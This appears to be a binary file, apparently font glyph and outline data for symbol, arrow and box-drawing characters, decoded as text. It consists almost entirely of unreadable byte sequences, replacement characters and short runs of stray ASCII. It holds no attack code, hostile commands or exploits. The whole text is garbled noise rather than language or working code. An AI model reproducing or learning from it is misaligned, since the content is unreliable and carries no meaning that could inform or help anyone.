�����ZZL�hw!3'3#7!'7##53!!!%!7'��,�84��_48��G�,�84�_�48dG��&&-,Bo&&wKy��c
�c��Ky��
���ZZ��ZZu�hw3'3#7!'7!5!7!5!!7'0�,�84��_48�8G�,�\�B��t�B�&&wKy��c
�c��Kyô�ôZZL�?8#53!!!�84�_�48V�X&&�y��
���ZZ����53'#'#=��
���ZZ�V84��_48���&&�Xu�h8'3#7!5!7'!5�84��_48���&&�X���c
�c��ZZ������7#5373w��c
�c��ZZ�t84�_�48V�X&&�L�h8'3#7!#53!7'!�84��_48�84�_�48R�&&�z&���c
�c���
����ZZZ�����7#553'%7'w��c
�c���
����ZZZt84�_�48�84��_48R�z&&�&.��/�'7�7%J%����[%K�х%J%7��K%[��������'7%''/'��%J%7��K%[���d7%��%���K[%����j�k7%'77?7(7%��%���K[%���[�%��%7���%[K�.j/k%'7�%��%7���%[K��7%J%����[%K�L�?�%#53!!!!!!!4�_�4)G�w$��S$����
y�j�j�u�h�%7!5!7!5!'!5!'3�)���$�S�$�wG)4��_�y�j�j�y��
��L�?83#'!#533�����J��K��4�_�4����*��Y��+Y���
���u�h833#!'#537����4��_4���K��J������4�c
�c4Y��+Y������!#!5!5!5!53%!!!!��������
���������P�4�4��_4����P������3!!!!%#5!5!5!5!������4�c
�c4�����j�P�̂4�_�4�4�P�L�?8#5!#5!##53!#5w���t�4�_�4�<��������
��������#53#53#553%#53��������
�������V�Jt�4��_4����u�h853!53!533#!53=�V�Jt�4��_4����(�����4�c
�c4�������3#3#3%#53#������4�c
�c4�����t�4�_�4�<�u�?8!###333!?���4����74�(��4����4��u�?8!333###!u�47����4���4������4L�?8!55!!#53����d��=�_�=;E��E����
�����%3'3!#53#�E��E����
��d���d=��_=u�h8!7'!!53#5����d=��_=�E��E�R��c
�c������#7#%!3#53�E��E�R��c
�c�f����d��=�_�=���%5!!!'3'3!#53#������dE��E����
��d��d^�S��dS=��_=�+�
%3!53#53#'3'3#!5#c�^ș�
��dE��E�����=��_=d��22�+�3'!3#!5#73!53#53#3'�E7��7E���d�^ș�
�����Py77�22d��=��_=�Q�+�3'!5#73!53#53#3#�E�;�d�^ș�
���ŸE�y��12d��=��_=�OϺ�2���)#57#53##3'373!3'3c���
����cD��D�
�JE��E>=�=��_=�=;��H>���+�%%3!53#57#53##3'3733'3#!5c�^ș���
����cD��D�
�E��E����D=�=��_=�=;��z���22u�hg
#3!53#577'!5#35o��=��_=d��22���ș�c
�c�dE��E�&��"�3!!%'7����ٜ��~%J%���x��؜E��%J%~��!5!7%'%�{
�'�E~%��%5��sx؜��5%��%~�����3#53#53#7#3'3c��c
�c���
���E��EE��E��=�_�=`=��_=�<��(��u�h8!)5!6762!3#!"'&')276%!&'&"ug/X�X/�4��_4���/X�X/���3�3��3�3(�9.XX.94�c
�c49.XX.933�33��Z��Z�'E��C^u��hJ	5!'3#75!'3#75!'3#7u�<4[��4<�`�<4[��4<�`�<4[��4<�ܼ��
�ۼ��ܼ��
�ۼ�ܼ��
�ۼL�?8!#!#53!3?���O�4�_�4��������
�����u�h83!3#!#!5!����4��_4��O����4�c
�c4���L�h83#!#!#53!3�4��_4������4�_�4�M�4�c
�c4�����
�����L�?8!###!#53!333?�j�P�̂4�_�4�4�P��������
�������u�h83!3#!###!5!33�4�4��_4����P�j��P��4�c
�c4�������L�h83#######533333�4��_4���P�Ђ4�_�4���P�4�c
�c4�������
�������L�?8%!#53��<��=�_�=�P�n���
���u�h875!3#���=��_=>���n�4�c
�c4L�h87%!3#!#53����'`=��_=��=�_�=>����P�n4�c
�c4���
�	�
3#3p������T����+���L���F)=@'!	'��!��*$$*�����991������990>54&#"#"&54632#"&54324&#"32�4,,�:*:�|������f�MHe�MIe��c�Bds�<+@l����F��W�t|���uy�A�!5!!5!!5A�O�5�5�+�������
A�!'7#53#5!!5!73!A�|A�2?}l�&l�n�B�2=l��l`�+�<������<��o����n�)��L@(*s��91/��90KSX����Y"%!	3�����d�d�����+)��	%!#}{�1�����b���+�!"!!3!!"$$3�Ho�8D��8�o��H��ج�(��o_,0�/+_o�(\(���"*3#!!23!!"'''&$;7##";�JJ�l
��k	��H20j�h���(�y��P�/�l%o�8O��������OV(\(��,�/+P�*o_,0�35!26767!5!&'.#!5!2#��o�8��D8�o�H��(���خ�o_,0�/+_o����ج��"*'7#53!5!"#!5!2+3&'&326767��JJ�l��^k	�H�20j�h����خydP�/�l%o�8��O��*�(�"O��V����ج��/+P�p��o_,0/�w��=@"��
��a	ba
cba��2���2��1��22�<�20!#3!53!3!53#/X���F�����F���T�^TT��^TT�/�w��!53#5!#!#5!#3�������F�����wT�TT�^�TT�^�w��9@$����	��91���990!#'.#!!26?3!5	ӋX\S~����!v0"
HX���6����S�4+��)�X&��G���������1��0!!�������!!!!#!5!���������q���f�f��s	4632#"!!#!5!�pNOppON�����g�pp�oH���f�f���B�����^
%#'-73%���hb�����bi��bH�H*����{������x��JM�&"265$632 &�MnKKpK�C���������NLpJK6��������JM�	632 &ٶ�������������H��D�
*@
	��
	��91��903##'%u�g��d�ɌK�����Z3qt�k��H��D�'uD����B��Dl'�|�����%.#"326"&'#"&54632>3"3�.zN]vlQK~�F�\E�`����]�XD�_#|F-{=�LJqXUqt��q��}밸�u����r�KL����/=@-$	'!��	�!�0$`*`0����99991��2��2�999032654&#".#"326#"&54632>32#"&�-{N^ulQJ|�.zN]vlQK~�E�`����]�XD�_����]�1KLoYVqr$LJqXUqtE�}밸�u���찷�q���r%!3!�0������r%!3!�0���4���8��#�����e��8+�'37#���J樢���֨�J��c�����|�8c�###c�����e��e��8�#'3737#w�怢"�怢������O��#T�����6����5J�!!!5E�G������T��5J�!!!5f��g���w����T��!#4."#4$ ��o�޾o�(\(��o�oo�o�~��(���خ����32>53 $5��o�޾o����ج�~o�oo�o��~��ج�(�1��q)*@$��
��*'!
de!d*���91�����026732#"&'&'&'"
#"&54632Vf��bwL>.>
c('8�z`yNB2F��K��bP<I0,".��t>���f��bN>J?(:��1���'� ���1��
�'�@'� ����4632#"&!!�X=>XX>=X����=XX=>XX���{��4632#"&4632#"&!!�X=>XX>=XX=>XX>=X�)r���=XX=>XX�Z>XX>=XX!��{��#/34632#"&4632#"&4632#"&4632#"&!!�X=>XX>=XX=>XX>=X�X=>XX>=XX=>XX>=X�)���=XX=>XX�Z>XX>=XX!=XX=>XX�Z>XX>=XX!��{��+#"/&#"5632327%4632#"&4632#"&ۿ�e�)�_����_�)�e����X=>XX>=XX=>XX>=Xr�D9�Ψ9D��=XX=>XX�Z>XX>=XX���@#"/&#"5632327ۿ�e�)�_����_�)�e��r�D9�Ψ9D����@532?632&#"#"ٿ�e�)�_����_�)�e�rΑD9�Ψ9D����!!#"/&'&#"5>32326���]�e_�
�aM�``�d_��eM����US:
BGJ�VQ9
DH�-�!!#"'&'&'&#"5>32326���]�e_�	
�aM�``�d_��eM����VR9BHI�VR9
DH���9\@/5470-7),!0�)�07�7�!:54,:�<�291���������99999999990#"'&'&'&#"5>32326#"'&'&'&#"5>32326�]�e_�

�aM�``�d_��eM�`]�e_�	
�aM�``�d_��eM�o�US:BGJ�VQ9DH��VR9BHI�VR9DH�-��	
4632#"!!!!�pNOppON��������pp�o������H��	4632#"4632#"!!!!�pNOppONppNOppON������I�pp�oh�pp�o������H��	4632#"4632#"!!!!^pNOppON�pNOppONp����I�pp�oh�pp�o������H��	4632#"4632#"!!!!�pNOppONpNOppON�����I�pp�oh�pp�o��������$	4632#"4632#"!!!!�pNOppONppNOppON������pp�o���pp�o.������$	4632#"4632#"!!!!RpNOppONppNOppON������pp�o���pp�o.������>@"


����
	�<�291�<�2�<�2.�990!3!!!'7#5!7!�����V�b���������5}�����������I!!!!!!���������r������
$@	
��<�2291/���90%!5
5���y����������P�P���
$@�	�<<�291/���9055%!!�����y����������!"3!!"$$3��o�oo�o�����ج�(��o�޾o�(\(���35!2>4.#!5!2#��o�oo�o����(���خ�o�޾o����ج��� !!!#'7&'&$;	#"����-��g�Y.-���(��g�J��!�o�oo_����O�V(\(�O��o�޾7��� 35!!5!3+'7	32>4&'&�+���g�Y.-����خ�g�Jj�߉o�oo_�8�O�V����ج��O���o�޾7�Q��7!!!"3!!"$$3�����o�oo�o�����ج�(�7�b�o�޾o�(\(��Q��7!!5!2>4.#!5!2#����o�oo�o����(���خ7�^�o�޾o����ج����	!#5332>53 $5��b<4��=4<���o�޾o����ج���9
9���~o�oo�o��~��ج�(�����32>53 $54632#"��o�޾o����ج�pNOppON�~o�oo�o��~��ج�(�5�pp�o����3##5#53532>53 $5��������o�޾o����ج��������~o�oo�o��~��ج�(���%!!!!��������!!5!!��������6�Q��7!!!!!!�������7�`���Q��7!!!!5!!�������7�b���6��3!#!���������!3!���6������#+$  $!676767!%&'&'&'ج(\(�������c/,_7��7_,/�/,_7��7_,/�\(������ج�b7_+/�0,_7��7_,0�/+_7����$  $!2676!&'."ج(\(�������b��7�޾7��7�޾7�\(������ج�b/+_oo_+0,_oo_,��!$  $7'2%654'7&"ج(\(�������m33�i��\��33����\��\(������ج��\jk\����3�\kj\�j��3��$  $	32>54&#"ج(\(�������?��\jo�o�\ko�o3�\(������ج����3o�oj�3o�ok\��	!4632#"2>4."$  $�pNOppON��o�޾oo�޾���(\(�������4�pp�o,޾oo�޾oo�%\(������ج���*&"265$632".2>4."$  $�7O66P6���lg��Տ�o�޾oo�޾���(\(��������86Q56'j��gi���޾oo�޾oo�%\(������ج���)'#'7'7372>4."$  $���b���b��b���To�޾oo�޾���(\(��������XZ������ZX���梇޾oo�޾oo�%\(������ج���!!!!&2>4."$  $P����o�޾oo�޾���(\(�������B��/޾oo�޾oo�%\(������ج���!!&2>4."$  $x��`o�޾oo�޾���(\(����������޾oo�޾oo�%\(������ج���!)!!!!!!�(���(�(���������(���(����(����!!!!���6�����(���(�����	%!!	!		!�����������g���~������c���g���	
4632#"!!!!�pNOppON��6����4�pp�o�6���:�3!!#���������:�#!5!:���+{�z���!!#!���|�|��^����35!3!�������^���3!!#��[��������3!!!!#��[��[����N��M�:�3!!!!#��������N��M�:�!#;!!#����������:�!#3#;!!#�������a����+������3!!!!+3i���������N��M��:�3!!!'!#��������c�o�����ub���b���:�3!!!!!'##7!��?��p�(R*�n�����9R�U�N�b����RbL�M����:�!#;3!!#'����'����˼lu����ub���m�b����!#;!!!!!'7#7#?#����L?��8�`R���G>�))�R��N�b����Rb�[Xర����7'	δ��������������
V��	��1��04632#"&�pNOppONp�NppNNoo��	3	%!	���\�� �!�C����|����7!#!7��x�V����!#5������x��7!3b��"�Vx����!53!���b��x����!#�����{h�I,$%%$�nn����������!"�������nn������8����ʸ��'+6@KV#"&6 3546 +32 &=# &6;5#'54&#"3!3264&#"32654&#!#"3265�����˭��ʏ������ʭ���ʏ�����eHGeeG��HefGHefGHefG�M�GeeGHe`��ʏ������ʭ���ʏ�����˭��GffGHef�ffG�M�GeeHGeeHGeeG���!3!���h�{�qf477632#"&'&'&#"�jk�bwL=.>\������bP<I0-".���#�<-���0#"&546323265�jk�bwL=.>\�����bP<I0-".z�#��T�!!!!%!!�P����r�6���L����+x�#/;GS_kw�����������+7CO[gs����������!2#!"543!254#!"+"=4;2+"=4;2%+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2%+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2'+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2'+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;22+"=4#"=43+"=4;2+"=4;2"=43!2#U���ݓJ�II�J%J%%J%�%K$$K%J%J%%J%�F%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%�%%�%�C%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%$%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%$%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%%�%%�%%%%�*$%%�%J%%J%�%K$$K%��%%%%��������JJJ�I%%I&%J%%J%�J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%�J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%�J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%�J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%�%��%%� %I%�HJ%%J%%J%%J%�%J%%J%�.��!5!!!!D�����.��b��b����m!5!��ݠ�������r�0����p�������!!�#����v����!&5����Ơ���T��_�C�������m5!]��������p� g�������]����!0�����v	�����!!]#�ƚ�ΐ���,������U����m!!!����#��	q�������!!�#����v����!!�������	r����m!!]�#��N#��]����!0�����v	�����!!!]#�����#s��Xm
!4763!!"���{z���f+!��u�����0%����y!4'&/32765!�9+e��n:�==�@ne(� =���F��|AEu���H���<s�Xy
3!!"'&5�!+f���}{y���%0��Ws���y!!�����	�����m
4'&#!!2s!+f���z{��}�%0�����s�Xy&'&!;!76<<(en@�==�:n��e+�!<���T�uE��A|��R��=���y
!#!!2765s{}��f+!y�����0%����!��	��z���!	!!��
���$�<���.�3!3����.��b����j�5!�j�����l!�X�����3��	����!�@�	��<j�5!!5!!5!r#�B#�B#j������<�l!!!!!r#�B#�B#X��X��X���m�333������mj��j��j���m!!!�@��@��@�mj��j��j��<j�53353353353<�x�x�x�j��������<�l3333333<�x�x�x�X��X��X��X���n�3333�������p��^����^���^����^�n!!!!�@��@��@��@p��^����^���^����^��!!�������l!!��l������!!��#������l!!��#�l�������!5!���j������l!!���X����!5!�$�j�����l!!�$�X��j��3!�-j�����3!�-m���j��!!�@�j������!!�@�m����j��5!3,�j�k������!3,�X����j�5!!�@j�k�����!!�@X�����3!!�-��	���������3!!�-��	��������	#!!!P@��j��������	33!!�P�-�#�k��������!!!�@�#�	���������	#!!!P@��m�������	33!!�P�-�#�l�������!!!�@�#�	���������!5!3��,��j�k�����!!3��,��X����	!5!!#���@P�j�k�����	!5!33�$,�P�j�k�������!5!!�$�@�j�k����	!!!#���@P�X�������	!!33�$,�P�X�����!!!�$�@�X����!5!!�����j�������l	!!!!���-��XV������l	!5!5!!��,��j�V�������l!!!�����X�������!5!!�$��#�j�������l	!!!!�$�#�XV������l	!5!5!!�$��#�j�V�������l!!!�$��#�X������j��5!3!,�-j�k�������	!3!!,�-��X���V����	5!3!!5,�-�3j�k��V����!3!,�-X����j��5!!!�@�j�k�������	!!!!�@�#X���V����	5!!!!5�@��j�k��V����!!!�@�X������#!5!3!����,�-j��j�k�������!!3!!��,�-��X���������!5!3!!��,�-��j�k��������!!3!!��,�-��X��������!5!!!!���@��j�k���������!5!3!!�$,�-�#�j�k���������!5!!!!�$�@�#�j�k���������
!!!!!#���@�#P�X���V������
#5!5!!!!P�$�@��V�k��������
!!33!!�$,�P�#�X��V�������
!5!533!!�$�P�-�#�j�V��������!!!!!���@��X��������!!3!!�$,�-�#�X��������!!!!!�$�@�#�X���������!5!!!!�$�@�#�j�k��������!!!!!�$�@�#�X����<j�5!35!<�y�j����<�l!!!���X��X������33���lU���TT�����!!�@��@lU���TT�������5!5!���������x�X�333x����	��	�����	!!!!��-��¬���Bx��	!!##xm�s������j��x���!!3!!xm�3�-�s�¬��j��B����	!5!5!5!��,��������>��X	5!###l���j���j��j��X�!5!!!5!��4l� �t,���>�������	3!!!�-��-��A���xj��	333!x����j��k���x���3!3!�������k�A����������	5!5!5!3,��,�������=��jX�	5!333����j�k��k�����X�5!35!3����̠��������=���3!!!!�-��-��	��A����Bx���333!!x�����s�	��	������x���	3!33!!�������-�sk�A���	��j��B����!5!5!5!3��,��,����������X�!5!333x�t�����j�k�	����X�5!3!5!33����t,������������	������!5!!5!�����4������B�����5!!###��s���j����j��j����	5!!5!3!!����t,�-�s��������j��B�����5!5!3!��,�-���X���A���j��5!333!�����j�k��k��������	5!5!333!����������X����k�A�����!5!5!5!3!!!!��,��,�-��-��������A����B����5!333!!###������s���j�k��k�����j��j����!!!!5!5!333!�-�s� �t,��������j��B��������k�A���43!!"��y��Y[�p��~|�����4&#!5!2[Y��x���p~|�������j��5!2653#xY[���j�~|q����j��!"&533!����[Yyj��q��|~���*m3YѲ�/�	Y�����*m#3*��/��	Y���*m#	#	3	3*����i������������S��jh5!|j�����3����?hj�5!h}j�����3����@��hl|X�����!�@���?h�l!h}X����!�@���@���l5!5!!5�i��j�V��V��333�P�P����?�@���l!!!�i��XV�V��#!#P@P����?�@�����;�	����;�?!O�?����;j!O�j����;�!O���k��;�!O���@��;�!O����;!O�����;B!O�B����;�!O�	����q�!��	������!��	������!�	�����!'�	����I�!]�	�����!��	������3�	�����:�	�'�bm#'+/37;?53!5353!5353!5353!5353!5353!5353!5353!53�(���'�O�'���(���'���(���'���(����������������6����7����5����7����6����(�'l#'+/37;?CGKOSW[_cgkosw{��������#5353353353!3#%3#%3#%3#3#5#53#53#1#53#1#53#75353535313#3#3#3#75353535313#3#3#3#75353535313#3#3#3#���������b�����������b����������������������������������������������������������������~�������������������!���������������������������������������������������������������������
�'m59=A35#%35#35#%35#%35#35#35#35#35#35!35!#5#!5#35735#35#�����������������w�������N�O�����������Ŷ�Z���X�Y���I6�����������������Z�������B;�	�B��q�:�	�����!(���@���;�	�'������	����;�!!!;��('�	��@����;�'	��	�'��;�!!;�����@�@	���;�!!!O����������;�	�'�����;�&	�	�'���;�!!'(��������%!�� �����%!!!,7��r�<�R �����%%3!254#!") ) ,�o���rVoV������Z��t��tV�����������%&	�	����%!%!5!5!5!5!5!5!5!5!5!��W7��7��7��7��7�� ��r�r�r�r�r����%!%3#3#3#3#3#��ᰰ�ܲ��ް��ܲ��ް�� ��t8��8��8��8��8���%#'+/37;?CGKOSW[_cg35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#!L��$��"�������������� ��������$��������"��������$�����������������ܮ�.��,��,��.�ܮ�.��,��,����.��,��,����.��,��,����.��,��,��.��� �����%
!33775353535��W������!����y�B��ߢ�|�� ��T���}���<�B��� ���������%
!%353555#5#5#57#��������!��y�y�B�����|�� ��r������!�����C����}�����%	 $(-159=AFKOSW\aejos7'#7'7'#7'7'7'#7'7'7'75#7'7'7'7'7'37'75'7'7'7'37'75'7'37'35'!,2|5y2~~2O~~5���~|~�2~~2�~~5���~}}��}}~��~~~�}1y��|~|��|~|��}||��|~|��}}|�z4|2�~12��~~~��~|~��~~~��5�4~�}22��~}~��4�5~4z2��31|4��2~~1O~~4��~|~��1~}1�~~4��}}~��~}}��~~~�|1��|~|��}~|��|||��|~|��|}}��4|1�~2�1��~~~��~|~��~~~��44~~1�1��}|~��44~~41�� ����7!������%!!!,��r���v������%!!��������!!!c�������r����"!�������"!!!,��r�8�V���!�%!!��n�����!�	!!!b�S���n����r��!%	
� ���!%!	�����
��� ���7	�����7!	��������������!%� ���!%	x�;rRff�� ���7����7	x��^r��SS����!7��!7	x��tr�SS�����!%!��$���!%	%!�bc������6�r���!����	%!�QQ������Z�r��!%���!%	��W�����������	���z��������!��!		#��W��������!%	
������!%	�uv����
����xx������!%	>��+��uv����
���)�)��xx�����p���)
)$7632#"'327$%&#"%632#"'��~�~��~�~�eM����M�������>�������y�����J�JJ����JJ6��``���``����qq�|�qq�#�u"@��91��990	�����������9%���-p���)
327$%&#"%632#"'�M����M�������>�������y�������``���``����qq�|�qqr��'	'/7?G%&'&'6767&'&'7%'676727"'64'7&"'62&47\+;.81F9K5�8.42d;E9G�,:.80G9J6�&8.;+d1O9F�L�L&_�`Jn��L�L'`�_��n�<1& j(0=Ju &,A=N:0('<1& j(0=Ju &1<>EB0(��n_I�I'[�[Jn��I�I'[�[p���)
%/36%632#"'327&#"6767&'&6p�������y����AAAA����,+-,,-+�A@@�R��qq�|�qq��%�%m��ܱ[��0$�
%@%��|�"p���)
)73276'&#"7632#"'327$%&#"%632#"'�r99:9rr9:99�XWXX��XXWX�M����M�������>�������y�������B!!BB!!�o�e33e�je33���``���``����qq�|�qqp�� $  $p�k�k����]��A�k����^����p�� $  $27$%&#p�k�k����]��<��M����A�k����^����a`���`p�� $  $"3p�k�k����]��<����M��A�k����^�����`���`p�� $  $%&#"p�k�k����]����������A�k����^����>�``���p�� $  $327$p�k�k����]��\L����LA�k����^����>���``�p�� $  $"327$!p�k�k����]��<����M����M�gA�k����^�����`���``�p�� $  $"!p�k�k����]��<�����A�k����^�����`���p��})6%63"'p�����R��q��q����)#2�y�����|�q*q����(
2654&#"!����|~�����}��}|���v<����	(
$%632#"'327$%&#"!IM����M�������>�������y����_O���``���``�|�qq���qq�H(���	(!#%&#")%632�O�y����y���M����M����qq�>~�``���	3327$3!#"'$��������@1����������>�qq������``�)	%63"������qv`���)	2#%&#���u����)q�>�`��	527$3��Mu�y��v`��>�q��	"'$33��yuM����q����`p�)%632#%&#"p������u����������qq�>�``���p���03327$3#"'$puM����Mu�y����y���``��>�qq��!%� ���!%� ���!%!� �!%!$��3��!
2654&#"4632"&n�Ȋ�ce�;�~|�����d��dc��c|��|}�����%!%!!�����d� ��r<���%!%!!��W��e� ��r<���%!%!��W7� ��r<���%!%!��W7�� ��r<���%!%!!!!��+c���,b��� ��r<��<�!%

4632"&!	W>>VV}V�2����
j>VV>>VV�J�� ���!%!	c����
��� ���!%!	�b��
��� ��p��( 7& $  %������;�<������������������*����X�֖����%	
!!!!!!,7���,r�Wb���<�)�) ��Ie���%	
!!!!%!!,�c��r�Wb��M�)<�R ��re���%	
!!!!%!!,b��r�+c����e�R ��re���%	
!!!!!!,7�+��r�+c���e�R ��Iep�� $  $!327$%&'p�k�k����]������]��4����M����A�k����^�����O���r���``���O�+p�� $  $67$%&#"!p�k�k����]��u��M���������14��A�k����^����^O���``���r���Ocp�� $  $!%&#"67$!p�k�k����]��\M����̦������4��A�k����^�������O�T�``�%O�Tp�� $  $327$!%&'p�k�k����]��\M����4�0����̉�A�k����^�������``�T�O��T�O���!%7!!x��tr ��R �!%	%!#��W��n�r���!%!x��tr���� ����y��!!!,L��r0R�<6����y��!�0�6�����"K%!!!,��|rhO��n�����"K!�h#n���!%!	#��W���� ��	���"*2:AIC�+��Dи�H��/�/�F/�H/�$'+�$�+и'�/�013#''%#&'52#"'&5476!!'5%!!'53'5%3'5%3#'sMM7:�=���=�-0�Y
�G.�b#�C�KS��uY��G�r=���;�>MM���^�?�?�@�7��`�d�?\�g��OOOO��y>�*<�?v��^
���<BHNTZ`fl3264'&#"&7367'67675673#''5&'&'7&'677&'67'%%&'&'%6767%&'�0/CB^0/AC/�88pkTcR|�NO��OfUip88pqUfO��NN��QaQh�!$�b�)�d����L�Q�k
��K��R�t!%�c�'�d�&�//^�000�NN�|P_Pfp88poQ`Qy�NN��P\Qgp88pmQ\Py�,

M�
�N�>&�`�7"
b�K*�V�&"�g{���M�	�M���!)1a�+��0,+�0�$+��+�A&6FVfv������
]A��]A��]A)9IYiy������
]�,�и�(и(/A0&060F0V0f0v0�0�0�0�0�0�0
]A�0�0]��3��	+��+��+��&"+�&�"�*и&�.�01! ! 3254#"&#%#7&'67&'67��67��K���J�]��_������V�NEWMCe2ntj��nti�7��I���L�6���a��]����
��]���pu	otpu	ot���!)1a�+��0,+�0�$+��+�A&6FVfv������
]A��]A��]A)9IYiy������
]�,�и�(и(/A0&060F0V0f0v0�0�0�0�0�0�0
]A�0�0]��3��	+��+��+��&"+�&�"�*и&�.�01! ! 3254#"3$3&'67&'67��67��K���J�]��_������T�NE����Ag�ntj��nti�7��I���L�6���a��]���	��U��ypu	otpu	ot���%ͺ
+�
�+��+���и/A��]A)9IYiy������
]�
�"и"/��'��	+�� +��+���и/� �и�$�01! ! #$''&'6%&'6��67��K���J�O��R`�������������7��I���L�0�c���Z�
��		��
��		
���"*2:AIX�Y/�Z/�ܸܸи/��и/�Y�и/�и/��BиB/��CиC/��Eи�GиG/��L�AL&L6LFLVLfLvL�L�L�L�L�L�L
]A�L�L]�F/�H/�/�/�W+��$'+�$�+и'�/�013#''%#&'52#"'&5476!!'5%!!'53'5%3'5%3#'32765'&#"sNN99�=���>�-1�\
�H0�e%�F�KS��wZ��G�r=���;�=NN$�E| 1�	?�'���_�>�?�@�7��`�d�@\�h��PPPP��y?�+<�>w��_VG{?,rC�A���0:�1@!�7+�7�	+�	�.++�.�.9�и	�и/��к.9���A7&767F7V7f7v7�7�7�7�7�7�7
]A�7�7]�7�!и+�=и.�B�� /�"/�+/�-/�
/�
+�
�'2+�'�:+�:�2'9��и�и
�и/�2'9017#'#53'&'&54767&'&=33676=3#32654'&i($��l�������m��$(($��[Uu&tU[��$��&uU[���[UV$���|d�d��b�
e|���$%��
�ZSSZ�
��%_TY������YT���*�$�+��+��+�A��]A)9IYiy������
]A&6FVfv������
]A��]��и/��"и�&��/�+��+��	#+�	�#�и�и�!и!/014&#"326&5432%##5!&w衤�礡��P��P������������䤣�����L����~��~�|	���*�$�!+��+��	+�A&6FVfv������
]A��]A�	�	]A	)	9	I	Y	i	y	�	�	�	�	�	�	
]��и/��и/��&��/�+��
+��+���и/�
�и/���01"32654&'#5!3%#"5476��礡�������𳉧�������פ��㤤ף	|�~��~���L������#�+��%��+�01&$76+"'&5'476%7!�t��tsstEus������pi�����d5s
qt��trtt<�֤���ꧦg\���u��l�9S����/�/��и/��A&6FVfv������
]A��]�9��ܸܸ��/�/�+��+���0152654&#"#43233#!5
z��{y����m㗗��yy��y�����{�(|��j�Ǹ /�!/� �и/�и�	ܸи!�ܸ�A��]A)9IYiy������
]�и/�	���/�/�/�+��+���и�к
901#53533#632#4654&#"#*jj���o����on��������}m���Z�y��H{��z�F�2�4˺+��+��.++�.�� ܸ�"и�$и�&и�(и+�-ܸ0и+�2и.�6��/�$!+�$� +� �&+�&�$�'и&�)и$�+и!�-и �/и�1и�3�01"32654&7#"&54767!!53#5!!3!!#3!!�8OO87ON=0L�mk�L/>��Λ�2 � 1������O79NN97Os0Lll��llL1��K�Ә�J��J���-��'�<��+��+��4)+�4��к49��и�к49�49�"49��#�A�)�)]A)))9)I)Y)i)y)�)�)�)�)�)�)
]�)�+и+/�,49�4�2и2/��9и4�>��/�/�:+�:��и:�к9�
9�9�9�9�9�"9�#9�+9�,9�19�2901%#5#535&'&'5'73'3#'73'676=35'73'33◰��z������hNg�����eMj������z�������z��T������T�hOʍ������7Nj�Y������YӖy���?���/�/��и/�и/��ܸ�ܸи��A��]A)9IYiy������
]�+��+��	+�01! #!!!'!27674'&#��.d �;6��z���F�H�%Q��M_��\���ǃ�$�P�<C��#�+��/�/�/�"/01#"'##56'##"/547?�^��'�5@�_*S�U&/U�L	�;Yԧ���9UP(�`����X��I.�����s�2Q�3/�4/�
ܸ!ܸ
и
/�3�и/�ܺ+
9�/�&+��и&�/�0122732#&547636=4'&# #4'&#"*�t
p��z&�=<��x�Q���>h�G:��V
He��k%��PF5�NP
����B��|-�������&�p�A&N��FX��
�/�/�901	&&5	�<���F:��^��;"�V
��g�d��G�7C�+��/�/�/�9�9� 9�/901236;2"##'65##"'&5476;235&'&=476��e
x<JT�`�(G�eR�Ud��f�B3	VNT<�G��48u�<�B<�h	��m�M���D:�SGEnQ�hB��"<B��'+�'�
+�
�8+��
9�9�9�#
9�=9�>9�D��/�/�/�4	+�4�	�к#9�4�+к=9�>901+"'##56#+"'&575477;2732;276=4'3&'"�~V�"0�b*S�V*8Ui�Q�"_|��Q
�)w`�Sg�A
��?
��6���N�
���#eu�B?
��gI�o���5	�F��(���pZR�w��/�/�	/�9012367632#&5476(�t*#\l��~ ����T��]1�kl�SI������|-X���/�/01	&47��E����o�sU
����H�2`g�+��Z+��N+��9�9�V9A�Z�Z]AZ)Z9ZIZYZiZyZ�Z�Z�Z�Z�Z�Z
]�i��/�/�^+��J+�J�):+�)�и/�)�	и�!и)�,и,/�:�7и7/�J�Aи:�QиQ/�:�Sи:�UиU/�V:790126;2"##'65##"'&5476;2&'5476&+"326733276=4/#"567654'&#"35&5��hr=)�\�"I�fR�Ud��g�C3&=c�G�kv	�=�=N�r%SZ��U�6vk� �6)�S<��F9���8:�d	��m�O���E:�Rp�&�i����	�C�]&'Ax���.+�0	�nM,�W��`c�����%�+��/�/�/�9013#"/4?23hH�0#��!cZ����-��@����o�3�+����/�/�/�9�9013#'654'&'#"54732XW��z=�\�9��`Y�'6?F��` 1TFG*�֙-��@�x�/��e�/� /��и/�и/� �ܸи/��ܸ���/�/�9�9�901#"=4?2%#"=4?2���6ձ'VQ�ܖCت+YP����*�~:��ۉ8�z"C����o���/�/�ܸи/��ܸ�и/�ܸи���+��+��+���и/��и/�9�901"'4723!# 5472!5k����mO������dXX[�����;��Z�$�}@�Ϝ����"���+��+���к9A��]A)9IYiy������
]����/�/�
/�+��
9013363'$6'"�-�����8�
�w��?����WX���c1�	�0�
��/�/��и/�и/��ܸи/��и�ܸи/��	ܸи	�и/�/�/�/�	/�9�9�
9�9�9�9013%#'#3%#�)N(��4��/��c�����}��4�(,=�+��+��и�ܺ9�и�к	9��ܺ9�к9��и�!и�%и�&и�'и�+и(и�)и�*к,9�/�/�/�/�9�9�	9�
9�9�9�9�9�9�&9�*9�,901377#'#'547#5773%%�.wwzy.��*���* �� ���<�<��7�C�����A<�<{8�A���M�����tu�h8	!53#5u=��_=���c
�c�n��>&*'$&76#"'6767>	�7�>��c7A�p�1��GM+��SR���+�}P��m�)�6���
